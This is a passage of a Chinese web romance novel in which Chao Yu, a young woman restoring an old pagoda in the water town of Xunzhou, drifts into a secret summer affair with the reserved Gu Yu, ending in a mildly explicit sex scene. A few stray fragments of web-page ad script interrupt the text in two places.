劝宁塔并不算多高,奇就奇在从洵州老城区的任何一条街道看过去,都能看到它。有时是塔尖,有时是檐角。它驻守在这里,像洵州永不改变的时光。 洵州的时光太慢了,黏稠地流淌。让人心底生出许多的错觉,好似不可能的,都会在这里变得有可能。 晁雨瞥辜屿一眼。 辜屿还在吃面,耳后泛起的红痕越来越明显。 晁雨垂眸盯着面碗里的辣椒:“辣就别吃了。” 一秒。 两秒。 三秒。 辜屿说:“不辣。” 晁雨也不知怎么被这句话惹着了,也许因为辜屿说了句显而易见的假话。可人为什么要说假话。 她夺过辜屿手里的筷子:“都说辣就别吃了。” 从她和辜屿发生那段对话后她一直显得很平静,反而在对着一碗面的时候小小的爆炸。 不过她很快调整了自己的呼吸,平静地重新说了一遍:“辣就别吃了。” 重新埋头吃面。 辜屿捡起桌上刚刚被她抽走的筷子,沉默地把面吃完了。 晁雨去结账。 她被辣晕了,都不记得价格了:“辣肉面多少钱来着?” “十二。” 一碗十二,两碗岂不就是二十四! 晁雨也不知自己为什么在和辜屿对话时那么平静,面对这些小事,却一次又一次的炸。 她啪一下把手机锁屏,叫辜屿:“你出钱。” 凭什么她还要请辜屿吃面啊! 辜屿走上前来,掏出手机扫码,微蹙了下眉。 问老板娘:“能用信用卡吗?” 老板娘都被他问愣了:“一碗十二块的面你要用信用卡?” 可是辜屿刚刚发现,自己的微信零钱里,没钱了。 他的资金平时有专业的经理人打理,而且他深居简出,没物欲没社交,开销并不大。 他收起手机,看向晁雨。 晁雨看回他。 他又看回晁雨。 晁雨唰一下把手机抽出来,快得跟武士拔刀似的,又唰一下解锁扫码付钱,整套动作一气呵成。 然后看也不看辜屿一眼,头也不回地往外走去。 38. 第六件小事02 晁雨一路走得很快。 她从没想过自己能走得这么快,两条腿倒腾地,都快赶上许辰懿一米七大长腿了。 路过毛家小院的时候,看到路边停了辆白色奔驰。 这谁的车?平时没在这里看到过。 她也顾不上细想,匆匆踏进家里关上门。 许辰懿刚在天井里做完瑜伽,踏着嘎吱嘎吱的木楼梯往上走时听见动静,探出一颗头来:“小雨?” 又往她身后看了看:“你从外面回来?” “嗯。”晁雨往上走:“去吃了碗面。” “去吃面怎么不叫我?”她看了晁雨一眼,顿时眼睛瞪得像铜铃:“你!” 晁雨看她一眼。 她指着晁雨的指尖抖啊抖:“你是不是偷跑出去跟人私会接吻了!” 晁雨有点哭笑不得。 她记得上次跟辜屿偷偷接吻后,许辰懿以为她的嘴是辣肿了。 这次是真的辣肿了,许辰懿反而以为她是偷偷接吻。 她跟许辰懿说:“不信你去面馆问问,我有没有去吃面。” “真的?”许辰懿斜着眼睛看她,原本长得像狐狸的人,此时一脸猹味。 晁雨笑了笑,上楼回自己房间。 重新刷牙洗脸,换衣服出门上班。 埋首工作到中午,九叔蜷起指节敲敲她办公桌:“你要修仙呐?” 晁雨抬起头来:“嗯?” 九叔指指墙上的挂钟:“十二点了。” 晁雨这才反应过来,午饭时间到了。 直到这时,她才感觉嘴唇麻麻的感觉传来,好像是有一点肿。 这辣椒真劲。 晁雨放下铅笔靠在椅背上,觉得自己莫名其妙的,也不知怎么就带辜屿去吃了碗面。 这样也好。 这样她以后回忆起这个清晨,就只会记得那碗辣到双唇发麻的面。 那么心底那种酸胀发麻的感觉,也都可以托赖于那碗面。 之后几天,她没再想辜屿这事。 都说情场失意赌场得意。 她不赌,她就想把劝宁塔的修缮方案弄出来。 想想,连祝境鹤都没弄出来的方案,被她给整出来了,多牛啊,她是不是该名垂史册了? 开玩笑的,她知道自己几斤几两,她这是站在祝境鹤的肩膀上去完善方案。 过了不知多久,九叔又敲敲她桌面。 她抬起头:“吃午饭了?” “吃什么午饭,是到下班时间了。”九叔一咂嘴:“你这丫头怎么过得没白天没黑夜的。” “哦九叔你先走吧,我再待会儿。”晁雨重又埋下头去。 “待什么待。”九叔过来拎她的肩:“你待在这不费办公室的水电呐?给我回家去。” “嘿你这老头儿,花你的钱了?” 九叔眼一瞪:“我是你上级!我得把控整体的支出!” 他把晁雨推出门外,晁雨刚要往公交车站走,又被他拉住。 晁雨回头:“干嘛?” “火急火燎的干嘛?”九叔道:“你给我站这儿,对着夕阳深呼吸三下,把身体的节奏慢下来,不然我都怕你把自己给累死。” “呼……啊咳咳咳。”晁雨刚吸了第一口,就差点没把自己给咳死:“九叔你有没有想过,我们办公室左边是鸡鸭鹅活禽店,右边是棉絮店,你让我站在这深呼吸,空气里乱飘的都是些什么玩意儿?” 九叔:“……也是哦。” 他把背着的手从身后拿出来,把什么东西往晁雨手里一拍:“走了。” 晁雨看了眼那薄薄的小册子,对着九叔的背影问:“你给我一盗版小人书干嘛?” - 回家有回家的好,回家至少有葛洁压着晁雨按时吃饭。 许辰懿这段时间休假也逃不过被甲方霸霸折磨,她工作的时候,晁雨躲自己房里继续琢磨劝宁塔的方案。 台灯下她才看清,九叔塞给她的、封面已略损毁的、看起来像盗版小人书的薄薄小册子,应该是明代的《开物记》。 很多人觉得建筑设计应该是一门系统的学科。 其实在中国古建筑里,这个说法不是很能站得住脚。古时的师徒制让大量方法变成了口传心授,又各自成一派,零星的纸头著作也都散落。 直到宋代的李诫,在两浙工匠喻皓《木经》的基础上,主持撰修了《营造法式》,分为三十四卷,中国以木结构为主的古建筑,才算有了集大成之作。 然而这部巨著理解起来颇为困难,建筑大家梁思成曾用“天书”二字评价它。于是梁思成和林徽因开始跋山涉川、遍游中国,通过大量的实地考察,终其一生来完成对《营造法式》的注释与整理工作。 即便如此,这部天书理解起来还是颇有困难。 劝宁塔的修缮,无疑要从大量的木制古建筑里寻求灵感。九叔给她的这本《开物记》,算是补充了一个鸿篇巨制没有的小角度。 晁雨研究到凌晨五点,兴奋地给九叔打电话:“九叔!” 九叔声音听起来睡意朦胧的:“闹鬼了?” “第一层基座的结构问题我想出怎么解决了!我来找你!” “来找我干嘛?” “庆祝啊,顺便商量下第二层该怎么搞。”晁雨兴奋地在屋里兜着圈:“快快快。” “找我商量干嘛?我就是个木匠。而且,”九叔看了眼手机:“现在才五点。” “五点怎么了,老年人不都觉少吗?”晁雨问:“你到底住哪?” “就不能有睡眠好的老头儿吗?”九叔说:“我住桥洞。” 说完就把电话给挂了。 九叔去上班的时候,远远的,就看见晁雨在办公室门前溜达。 左边活禽店一只脚腕上拴着红绳的鸡,跟她以同一频率,左右来回溜达着,那场面分外搞笑。 一见他,晁雨蹿到他面前:“九叔!我请你吃早饭。” 这老头儿每天都是买根油条或麻球,配杯豆浆。 “你几点来的?” “五点。” “五点就来了你不进去?一直在这溜达。” “你不是怕我浪费办公室的电么?你也没给我钥匙啊。” 九叔打开办公室的门,晁雨把他推到办公桌前坐下:“等着!” 跑出去不一会儿,又跑回来,手里举着三根已撕开包装的娃娃头,往九叔面前一递:“给!” 九叔:…… “我能申请吃豆浆油条么?” “不能!你下棋赢了不都吃娃娃头么?我们这也算赢了一小仗。”晁雨笑盈盈的,兴奋得声音都在往上飘。 “你这有三根,我就两只手,怎么吃?” “你就跟我一样,这么捧成一排,来回嗦着吃。” 九叔一脸嫌弃地接过。 晁雨哼着小曲就回自己办公桌了。 “就那么高兴啊?”九叔看着她,忍不住笑了声。 晁雨一脸震惊地抬起头:“你笑了?” “我不会笑吗?你干嘛说得我跟面瘫一样。” “你是不会笑啊,你平时都是冷笑,就这样,把一边唇角吊起来,抽动一下,哼。”晁雨模仿了下。 九叔:…… “冷笑也是笑。真正不会笑的另有其人。” 晁雨的心里晃了下。 离那碗让人嘴唇发麻的面过去多少天了呢?这是她第一次想起辜屿。 那张矜冷的脸甫一冒头,又被她立即压了下去。 有什么好想的。 感情对成年人很重要么? 晁雨觉得,还真没那么重要。至少,没搞钱来得重要。如果明恒宇只是骗了她的感情,而没搞她的钱的话,她也不至于伤成这样。 说不定过几个月就能跟人笑谈:“我差点没成同妻诶!” 夏天到了最盛的时候。 梧桐上的蝉鸣好像贴着人的耳朵在叫,摇着头的小电扇嗡嗡嗡也吹不散那鸣响。 许辰懿抹着脖子上的汗:“姐们儿,开空调吧。” “不行。中医说了,在三伏天里出一身汗,可以祛除湿气、排毒养颜……” “说实话。” “我怕老房子的电路带不起空调会跳闸,到时连电扇都没得吹了。” 也有享受的时候。 下午五点过,日头没那么烈了,天井里的穿堂风变得清凉,晁雨和许辰懿一人一把靠背竹椅,坐在那棵硕大的桂花树下。 绿树成荫,晁雨家还有一口小小的井,平时早已不从这里打水了,可盛夏把西瓜浸进去,拉起来后有冰镇的效果。 晁雨今天就浸了个西瓜,这会儿切成两半,一半收起来,另一半切成一牙牙。 她和许辰懿吃一些,剩下的葛洁从摊上回来可以吃。 桂树的分芽期已快接近尾声了,花瓣被风拂落下来,已接近半开的状态。落在月牙状的西瓜上,让清爽的西瓜平白添了抹桂花味。 许辰懿满足地一咂嘴:“这小日子过的。” 她吃够了,就仰在竹椅上刷手机,突然“哈”一声。 晁雨咬着剩下的瓜望向她。 许辰懿晃晃手机:“有人说只要没告白失败过,告白的成功率就是百分百,那我就是百分百。” 晁雨幽幽地看她一眼。 这姐们儿可真会聊天。 不过,晁雨吐出两颗瓜子想,她那也不算告白吧。 没什么大不了的。 晁二柱穿过大门走到天井里来:“姐。” “干嘛?” “超哥他们提了个建议,去曲塘水镇玩么?” 曲塘水镇,是洵州边上的一个小镇子,雩溪依镇而过,比洵州这样的小城更有水乡情调。 溪上飘着乌篷船,特产是手工扎染蓝布和咸鸭蛋。晁雨小学的时候,班里每年都要组织去曲塘水镇春游,别的女同学会买扎染蓝布的围巾,她就买一筐咸鸭蛋。 晁二柱问完这句,看了许辰懿一眼。 晁雨咬着西瓜:“不去。” “干嘛不去?” “工作忙。” “你那月薪两千五的工作,能给你涨一分钱还是怎么着?” “你那期末考还要挂两科的脑子,别管。” 晁二柱瞪她一眼。 她接着说:“辰辰也不去。” 许辰懿:“我去。” 晁雨一脸震惊地看着许辰懿:“你不留下来和我待着,要和这帮臭小子去?” 许辰懿拍拍晁雨的肩:“姐们儿,我的年假快结束了,就要回北京当牛马去了,还不抓紧最后的机会疯狂下?” 又问晁二柱:“那什么水镇,有酒吧么?” “有。”晁二柱愣了下说:“不过是那种不怎么入流的,折出来的霓虹灯条,鸡尾酒上插把小纸伞……” “有就行。”许辰懿豪迈地一挥手:“没那么多讲究。” 出游就定在这周末。 许辰懿问晁雨:“有没有什么一定要带的?” 晁雨想了想:“驱蚊水。” 许辰懿:“还有什么注意事项?” “忍住把我弟踹飞的冲动。” 周五下班,许辰懿约晁雨去购物,走到木安街尾的时候,看见辜屿和九叔在那下棋。 今天为时尚早,路灯下围着一堆看棋的老头儿。 晁雨目不斜视地走过去,偏偏九叔叫她:“过来。” 许辰懿手里拎着一堆东西,便先回去了。 晁雨走过去。 九叔看着边上一老头儿:“给她呀。” 老头儿手伸进口袋里摸了摸,抛给晁雨一把钥匙。 晁雨一愣,手忙脚乱地接住。 九叔瞥她一眼,哼一声:“别有事没事去办公室浪费电啊。” 晁雨这才反应过来。 笑道:“真给我啊?” “不要就还来。” “要要要。”晁雨把钥匙收进包里。 这时毛秀珍摇着蒲扇从小院里出来,左手揉着自己的胃,看样子晚饭吃多了,要去遛弯。 一个老头儿扬声喊:“毛秀珍——” 毛秀珍瞪他一眼:“催命呐。” 老头儿招招手:“过来过来,老九在这呢。” “你们俩单了一辈子,不要互相嫌弃嘛,给对方一个机会。” 毛秀珍用蒲扇指着老头儿怒骂:“这么大 () { $(''.inform'').remove(); $(''#content'').append('' 年纪长个恋爱脑,看见单身男女就非往一堆凑!那小雨和我外孙子也单着,你们怎么不硬凑一对呢?” 晁雨一噎。 老头儿看看晁雨,又看看辜屿,路灯下一只蚊子歇在他手臂上,他啪地伸手一拍。 挠着那个包说:“他们俩这,看着也没CP感呐。” 晁雨心里冷哼一声,现在的老人们都挺潮啊,还知道CP感这说法。 她斜眼瞥辜屿的头顶一眼。 连头顶那个旋都是冷白色。 晁雨心想:这种冷到头顶的人,跟谁能有CP感? 她回家去了。 马超作为这次水镇游行动的总指挥,安排得挺上道,还包了辆小巴。 许辰懿因为要化妆磨蹭了会儿,晁雨送她出来的时候,男孩们已经上车坐好了。 许辰懿抱着晁雨的肩,表情浮夸地喊:“我舍不得你啊!” 晁雨冷静地说:“那别去了。” 许辰懿麻溜地收了声,一个跨步钻进小巴里去了。 小巴轧着青石板路摇摇晃晃地开走,晁雨回房工作。 直到傍晚,晁雨揉了揉发酸的肩,接到葛洁打来的电话:“红烧牛肉,香菇炖鸡,西红柿炖牛腩,想吃什么?” “今晚上菜这么好呢?”晁雨想我真是亲闺女。 葛洁:“自己泡吧。” 晁雨愣了下,反应过来:“嘤。” 葛洁就把电话挂了。 晁雨想了想,溜达着走出老宅,往马路对面的毛家小院走去。 只要毛秀珍今晚上不做花椒炒火龙果,她的晚饭就在这解决了。 暮色是一种深沉的橘粉,毛秀珍坐在葡萄爬架下的躺椅上一摇一摇,眯眼望着天边的夕阳,时不时端起透明的小酒盏,嘬一口。 里面装着淡红的液体。 哟,老太太挺有格调。 晁雨走过去:“喝红酒呢?” 毛秀珍瞥她一眼:“葡萄汁。” 晁雨:“噗。” 毛秀珍手指拈起一颗撒了盐的炸花生米,丢进嘴里。 晁雨问:“你晚饭吃什么?” 毛秀珍对着那碟炸花生米努努嘴。 晁雨:…… 她在自己回家泡面和跟毛秀珍一起吃炸花生米之间犹豫了下,还是坐下了。 毛秀珍伸出拇指夸她:“有品位。我再给你倒杯葡萄汁,我自己酿的,好喝得很。” 晁雨喝了口:“怎么有点酸?别是坏了吧。” “不可能,我喝好几杯了。” 暮色是一点点沉下去的,月牙却是忽而跃了出来,让人在低头又抬头的瞬息之间,笼了一脸月华。 毛秀珍的收音匣子里吱呀呀唱着昆戏,她跟着哼了几句,又把自己的画板拿出来。 晁雨是真没想到,毛秀珍能把画画这个兴趣坚持了下来。 她偶尔下班过来看一眼,给毛秀珍带些画纸和碳棒。 葡萄藤从木架垂下一缕来,扫着晁雨的肩。晁雨坐在小木凳上,一手端着玻璃杯,一手撑着下颌,有些神游天外。 毛秀珍叫她:“你看我画得像不?” 晁雨看了眼:“土豆,挺像的。” “……这是二狗子!” “……那种浑身圆滚滚的、圆柱体的、土黄色的土狗二狗子?” “我的外孙二狗子!” 晁雨沉默了下:“画得挺好,下次别画了。” 毛秀珍不满地哼了声。 晁雨斟酌了下,开口:“其实我一直觉得。” 毛秀珍握着碳棒:“嗯?” 晁雨转了下玻璃杯:“你跟辜屿,看起来又熟又不熟的样子。” 虽然辜屿每年都来过暑假。 但毛秀珍跟辜屿说话的样子,怎么说,看起来大大咧咧,看起来又带几分小心翼翼。 而且,从没看辜屿的妈妈、也就是毛秀珍的女儿露过脸。 晁雨想了想:“不过辜屿那样的性格,应该跟人也亲近不起来。” 毛秀珍立马道:“不是他的问题。” 否认之快,让晁雨都愣了下。 毛秀珍哈哈两声:“我这么酷一老太太,跟小辈太亲近了显得多儿女情长啊!你看我年轻的时候,走南闯北,倒卖过服装开过饭馆,左青龙右白虎……哦不对我没纹身,骑着辆机车横行四方……哦不对我那是辆贴着HelloKitty的小电瓶。” 毛秀珍干咳了下:“总之,不是他的问题,是我的问题,我太酷了。” 晁雨垂了下眸子,晃晃玻璃杯里的葡萄汁,端起来又抿一口。 毛秀珍太维护辜屿了。 虽然长辈都会维护自家的晚辈,但毛秀珍急切的态度,让这件事显得背后另有隐情似的。 晁雨正想着,忽然听到开门的响动。 一抬眸,见辜屿从浴室里走了出来,黑T加黑色短裤,露出胫骨修长的小腿,手里一条浴巾随意揉着头发。 晁雨愣了愣—— 第一:辜屿没去曲塘水镇? 其实早该想到的。辜屿这样的性格,不可能喜欢凑热闹。 第二:辜屿什么时候进的浴室? 晁雨晕乎乎地想,哦对了,刚才院外有卖桂花豆酿的骑着自行车经过,她和毛秀珍对视一眼,跳起来跑出院外去追。 结果没追上,悻悻地回来了。 辜屿应该就是那时候进的浴室。 晁雨发现自己放下玻璃杯,一步三晃地朝着辜屿走去。 辜屿明显有点意外,停下脚步,揉头发的浴巾搭进臂弯,看了晁雨一眼。 晁雨白皙的肤色泛起一丝酡红,双眼里盛着溪水,睫毛在毛秀珍牵进院子里一盏灯泡下映得毛茸茸的。 不太对劲。 辜屿远远朝着毛秀珍的方向望去,毛秀珍背对着这边,正端着一只透明的小玻璃杯,一口一口喝着什么。 辜屿看回晁雨。 晁雨对着他眯了眯眼,看上去就要开口。 辜屿先说:“有腹肌。不虚。” 晁雨对着他摇了摇手指,打了个嗝,又摇了摇手指:“不是这个。” 接着又眯眼看向辜屿:“弟弟,给姐笑一个。” 39. 第六件小事03 辜屿的表情有一瞬空白。 他在脑子里努力回想了一圈,他的一生,从他三岁记事的时候算起,除晁雨以外,还有没有人对他说过类似大胆的话。 还真没有。 他跟晁雨说:“你等一下。” 走进自己卧室,过了一分钟出来,已换了身外出的黑衣黑裤。 叫晁雨:“跟我走。” 晁雨跟在他身后。 两人走到葡萄架下的躺椅边,毛秀珍还在那摇着蒲扇,一口一口地嘬葡萄汁呢。 辜屿:“别喝了。” 毛秀珍一挥手:“这是我自己酿的葡萄汁,没加糖,健康着呢,不会让血糖升高的。” 辜屿略一勾腰,凑近闻了闻。 所谓葡萄汁,应该是碾碎葡萄新鲜榨取的汁液。 这种明显带着发酵味道的,准确来说,应该叫葡萄酒。 不过它的味道太柔和,度数又低,要贪嘴很多杯,才会有酒劲猝不及防地漫上来。 辜屿跟毛秀珍说:“还是别喝了。” 又叫晁雨:“走。” 晁雨跟着他走过马路。 两人一起走的时候通常不并肩,晁雨拖慢两步,走在后面。 辜屿回头的时候,看到晁雨正在踩他的影子。 晁雨抬眸发现他正看着自己,明显怔了下。 一副被抓了现形的样子。 辜屿说:“进去吧。” 晁雨站在老宅门前没动。 辜屿:? 晁雨:“给姐笑一个。” 辜屿:…… 他揉了揉自己的眉心,领着晁雨走进门。大门上还贴着去年的春联,微微有些褪色,门边摆着晁正声种的几盆石蒜。 狭窄的木楼梯吱悠悠,让人在深夜里不自觉地放轻脚步,尽管这座木制的大宅里,此刻除了他俩一个人都没有。 辜屿回头看了眼。 晁雨走得还挺稳的。 两人一前一后上了楼,穿过木连廊,晁雨的房间外挂着一幅以梅花和水仙为题的“双清图”,另有一张长几靠门边的木墙摆着,上面是一盆晁正声养的水仙。 辜屿说:“进去吧。” 晁雨站在原处看着他。 辜屿继续往前走,一直走到晁雨房间的门边。 他站在门口,一手掌着门,又说了遍:“进去吧。” 晁雨往房里走去。 房里没开灯,黑暗一片,晁雨走进去,也并没按亮房里的灯。 她就站在一片黑暗里转身,对着辜屿的方向说:“胆小鬼。” 辜屿没说话。 指节微微扣着木制的门框,直至有些泛白。 - 晁雨第二天醒来的时候。 “嘶……”下意识先就摁上自己的太阳穴。 怎么葛洁酿的桂花酒都没让她宿醉,毛秀珍的几杯葡萄汁反而把她放倒了呢。 她下楼去冲蜂蜜水的时候,反应过来什么。 匆匆走到毛家小院,毛秀珍正在院子里剥蚕豆。 晁雨:“那葡萄汁你别喝了。” “啊。”毛秀珍故作平静地点点头。 晁雨分外无语:“你也发现那玩意儿发酵之后变成酒了?” “哈哈,哈哈哈。”毛秀珍:“不过你喝了酒之后倒是很厉害的哦。” 晁雨:? “知不知道你昨晚跟二狗子说什么?把我都给听傻了。” “什么?” “你叫他,给姐笑一个。” 晁雨:…… “真的?” “我骗你干嘛。这种话估计也就你敢跟他说,毕竟你这丫头小时候挺虎的。” “……你的意思不会是,我小时候也跟他说过这话?” “说过啊。”毛秀珍点头:“就他第一次来过暑假的那个夏天,你问他,干嘛总冻着张脸不高兴啊,给姐笑一个。” 晁雨:……………… “那他怎么说?” “他看了你一眼。就这样,眉毛挑起来,斜着一只眼睛看的。”毛秀珍模仿了下:“然后说,你等着。” 毛秀珍忽而慨叹一句:“也等了这么多年啦。” “他好像,还是没有高兴起来。” 晁雨愣了愣。 毛秀珍抬眸看了她眼:“不走哦?还想喝杯葡萄汁?” “不不不。”晁雨连连摆手,太阳穴一跳一跳地疼。 转身走出小院。毕竟这葡萄汁变的葡萄酒度数不高,毛秀珍的一句提醒下,昨晚的记忆渐渐复苏。 她开口说那句话前,辜屿跟她说什么来着—— “有腹肌。不虚。” 好好好,这都是她脑子抽风时跟辜屿说过的话。 再多加这醉酒的一句,又算得了什么? 债多了不愁。当一个人欠五万块的时候,她是挺有压力的。可当一个人欠五千万的时候,她想的只会是:去他妈的。 晁雨对着初升的朝阳笑了三声:“哈,哈,哈。” 白昼日长,她算是跟劝宁塔的修缮方案磨了整天。方案里所需的大部分数据,祝境鹤的那版本里已提供了。 剩下的一些细节数据,她就趁每周日晚上测量,毕竟她一周一次,得去扫塔。 这次她学聪明了,隐隐闻着空气里味儿不对,带了把伞。 果然,坐在公交车上,路开了一半,暴雨如倾地倒了下来。 她望着雨滴涂写在窗玻璃上,指尖凑上去贴了贴。 不知怎地忽然想起毛秀珍那句话:“也等了这么多年啦。” “他好像,还是没有高兴起来。” 开到劝宁塔的那一站,车上已经只剩晁雨一个人了。 她撑开伞跳下车,匆匆走到塔边,掏出钥匙开门,把伞放在门边,钻进去又把门锁好。 狂风暴雨夜来扫塔,这是一种什么样的精神? 这是一种缺钱的精神。 晁雨拎过藏在一楼的扫帚撮箕,往塔顶爬去。 照明的瓦数好像随着年代的久远在递减,暴雨夜里透出一室昏芒。 晁雨登上顶层时,微抿了下唇。 辜屿站在那里。 站在镂空的木窗棱边。他显然也没想吓到晁雨,没倚窗边,手里卷着本棋谱,往灯光下又站了站。 晁雨明白了。 她后来扫塔都没再碰到过辜屿,因为她来的时候他已经走了。 只不过这次,被一场大雨隔绝在这里。 晁雨冲他微点了下头,自顾自开始扫塔。 扫到他脚边的时候,晁雨低着头说:“让一让。” 辜屿挪开脚。 晁雨的扫帚又跟过去:“再让一让。” 辜屿又一次挪开脚。 晁雨忽然低着头笑了下:干什么这是。 多幼稚。 她不是什么纯爱英雄。辜屿长成这副拒人于千里之外的冷淡模样,背后或许有故事、有苦衷。 她不想去深究,不想去探寻,不想当什么拯救失足青年、啊不失爱青年的圣母。她想找一个温厚的人,一个合适的人,去谈一段有结果的恋爱。 她早认清自己没什么天赋,过不了伟大的一生。可就像葛洁说的,她想过顺顺当当的一生,而不要再在一个破练歌房里对着屏幕唱什么《爱情的模样》。 她从辜屿身边扫开去,辜屿就那样站在原地。 她扫完顶层,要顺着木阶去下一层的时候,想了想,转身,站在楼梯口对辜屿说:“没什么好尴尬的,我也没觉得有什么。” 辜屿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看着她。 晁雨挑了挑唇:“我只是觉得,有那么点遗憾。” 辜屿问:“遗憾什么?” 晁雨的唇凝滞了一瞬,接着继续往上挑。 是啊,遗憾什么呢? 明明是摸爬滚打很久、很现实的成年人了。 明明觉得跟钱比起来、感情这东西其实一点都不重要。 明明已经算计得很清楚,要找一个合适的人,就像找一份合适的工作那样。 可是她站在这里,说遗憾。 窗外暴雨如注,像是要冲刷掉所有说出口过的话。 她抬眸看着辜屿的眼睛:“遗憾没真的睡了你。” 说完这句,她站在原地蜷了蜷指尖,想要重新拎起撮箕的时候,辜屿走了过来。 走到她面前,高瘦的、单薄的、带着清涩味道的影子罩下来。 怎么会有人连影子都显得凌厉。 可是他说:“那不要遗憾。” 晁雨笑了笑:“我不想恋爱。至少,不想跟这样的你恋爱。” 辜屿点点头:“好。” 晁雨抿了抿唇。 她放开手里的扫帚,靠到一边的木墙上。他们身边是另一侧的木窗棱,时而有一道炽白的闪电划过,雷声却很闷,潮热的雨气从木板缝里钻出来,缭绕着两人的脚踝。 晁雨纤白的指尖,抚向他颈侧,一点点往他后颈攀爬。 她说:“辜屿,我不会喜欢你这样的人的。” 悸动到心动之间有一道缝隙,她不留神跨了过去。 可心动到喜欢之间的那道缝隙,她无论如何不打算再跨过了。 辜屿还是顺从地点点头:“好。” 一个被所有媒体誉为最清傲孤绝的天才少年,此时在她面前,垂着眼,显得很顺从。 她指尖轻轻刮过他颈间淡青的筋脉:“你知不知道你在说什么?” 辜屿半掀起眼皮。他的眼皮很薄,睫毛长而并不浓密,让他的一双眼显得更为深邃而寡情。 可此时,也许是塔内昏芒的灯火。 也许是窗外白炽的闪电。 晁雨能很清晰地,看见自己站在他的双瞳中央。 站在他的世界中央。 他们头顶是沾着薄灰的佛像宝相庄严,他该是目空一切、无悲无喜的佛子,可当她指尖撩拨着他,他的气息开始不稳。 她的指尖搭在他后颈。 他轻轻靠向她颈侧,像带着某种虔诚。 他说:“我给你当一个夏天的床伴。” 她的心猛然跳了下。 另只手圈过他的腰。 辜屿的身材很高大,却削薄。他的双手半环过晁雨的纤腰,并没有压紧实,好像仍带着某种虔诚。他手里还握着那本棋谱,隔着白衬衫扫着晁雨的后腰。 晁雨说:“我可不会为了你影响我下一段感情。等我遇到喜欢的人,我会一脚蹬了你。” 片刻的沉默。 填满沉默的只有雨声,闪电,和两人都越来越不稳的呼吸。 “好。”辜屿贴在她耳畔,不再冷薄的气息打在她耳垂:“我藏起来。隐秘的、藏起来的、见不得光的。” 晁雨的心脏像被紧攥了下。 那是一种巨大的震撼,几乎引起某种酸涩。 她从来没有想过辜屿,会像抛开骄傲、抛开自尊、抛开自己一样,说出一句这样的话。 她搭在他后颈的那只手,此时探向他耳后。 果然。 那里又浮起一道类似过敏的浅浅红痕。 好像他在兴奋。好像他在紧张。 晁雨偏头,舌尖轻轻舔过。 辜屿的呼吸有一瞬顿滞。 晁雨脱离他的怀抱,转身,拎起撮箕和扫帚,叫辜屿:“跟我走。” 40. 第六件小事04 晁雨觉得自己挺平静的。 她还记得把撮箕和扫帚藏到一楼,拿钥匙打开门,撑开伞,又用钥匙将门锁上。 辜屿站在一旁,她微微举高了些伞,看辜屿一眼,辜屿才走到她伞下来。 雨着实大,辜屿就站了那么两秒钟,身上已挂一层薄薄雨气。两人站在公交车站等车,伞就那么大,有那么一瞬间,晁雨的手肘蹭过辜屿的胳膊。 皮肤很凉,带一丝潮腻。让人想起两人第一次在古塔接吻,辜屿的手指掌在她纤腰,也是这样的触感。 公交车在暴雨里开过来像一艘船,成束的车头灯晃得晁雨眯了眯眼。 因为是她撑着伞,所以辜屿先上车。她收了伞上车时,辜屿已在倒数第二排坐定。 晁雨本想在前排挑一个位置随便坐下,可是转念一想即将发生的事,又觉得欲盖弥彰。 她坐到辜屿身边,两人都没说话,辜屿望着窗外,她遥遥透过最前的挡风玻璃,同样望着窗外的雨。 洵州是座很舒缓的水乡小城,时光慢悠悠、人也慢悠悠,甚至连雨也下得慢悠悠,其实很少见这样的暴雨。 带着种不提过去、不问将来的决绝。 下了车,晁雨在如雷的暴雨中用很轻的声音说:“去我家。” 晁正声和葛洁收摊了睡得早,许辰懿又跟晁二柱他们去了曲塘水镇,二楼没人,方便他们…… 省略号的内容晁雨没细想,可她压了一路的心跳,确然是在这句话说出口的时候剧烈跳了起来。 可辜屿说:“不。” 然后往毛家小院的方向走去。 毛秀珍已经睡下了,院子里黑漆漆的。晁雨平时习惯了这里的热闹,男生们在游戏房里骂着“卧槽”,毛秀珍摇着蒲扇听收音机匣子里咿咿呀呀,到了傍晚,厨房里生起烟火气。 可是这时,很黑,也很安静。整座院子在暴雨里沉睡,有一种陌生又熟悉的感觉。 辜屿推开自己房间的门,晁雨走进去。 辜屿:“我去冲个澡。” 晁雨点点头,又想起根本没开灯,辜屿看不见。 于是轻声说:“好。” 辜屿对这房间太熟了,拿浴巾时也没有开灯的必要。他出去后,晁雨想摁开墙面的灯,手指触过去的时候,又缩了回来。 她在书桌前坐下。 指尖在桌沿摸索,很光洁,很平滑,只是很偶尔的,有一个浅浅的坑,是时光磨出的痕迹。 这的确是辜屿生活了很久的房间。 辜屿也的确是她认识了很久的人。可在她心里辜屿一直都是晁二柱的同龄人,臭脸傲娇小屁孩,所以她从没真正留意过他。 正当她想着这些的时候,辜屿推门进来了。 走到书桌边来,站在她身侧,浴巾擦过湿发,发出沙沙的声音。 他一手摁在桌沿,问:“去洗吗?” 晁雨微垂着睫。 一片黑暗中什么都看不清。他的声音低磁微暗,听起来,完全是个成熟男人的声音了。有一点危险,有一点陌生。 晁雨站起来,辜屿重新拿了条干净浴巾递她。 晁雨走进浴室。 她小时候来这里洗过澡。有时候晁家老宅电路跳闸,她会被迫被葛洁带到这里洗澡。毛家小院的浴室设计并不太合理,一个圆柱形的电热水器就在淋浴头附近,隔间很小。 晁雨小时候洗澡的时候,会仰头盯着电热水器看。现在她大了,偶尔一转身,不小心的话感觉就会撞到头。 她洗完澡,回到辜屿房间。 浴巾搭在椅背上,然后回身把门关好,落锁,啪嗒一声。 辜屿也没开灯,坐在床边等她。听到这一声,掀起眼皮来。 晁雨走过去。 眼睛适应了会儿黑暗,能依稀辨识出床边人的轮廓。晁雨站在他身前,把手指插进他的发间,带着刚刚吹干的一点热度。 手指往下移,触到他的脸,却是冷凉。 辜屿抬手箍住她的纤腰。 她陷落在他的鹅绒枕里,他勾下颈来吻她。带着刚刷过牙的凉凉薄荷味,要等两人的唇齿勾缠一会儿,热度才吞没了这个吻。 两人刚刚洗过澡,浴巾没擦得太干,仍有一种类似雨气的潮感。 然后晁雨发现,今晚仍是一个意外。 没有任何人有蓄谋。也就意味着,没准备。 辜屿勾下身去,往下移,用唇舌解决她的难耐。 晁雨吃了一惊。 窗外暴雨如注,可很奇怪的,她听见了毛秀珍起床开灯的声音,微微咳嗽的声音,上了年纪的人总是睡不熟,也因为这样晁雨一点声音都不敢发出,她抬起一只手捂住自己的嘴,微微仰起下巴。 - 晁雨本来是要回家的。 但她实在太累了,尽管努力睁着眼,意识却是一片模糊,不知怎么就睡了过去。 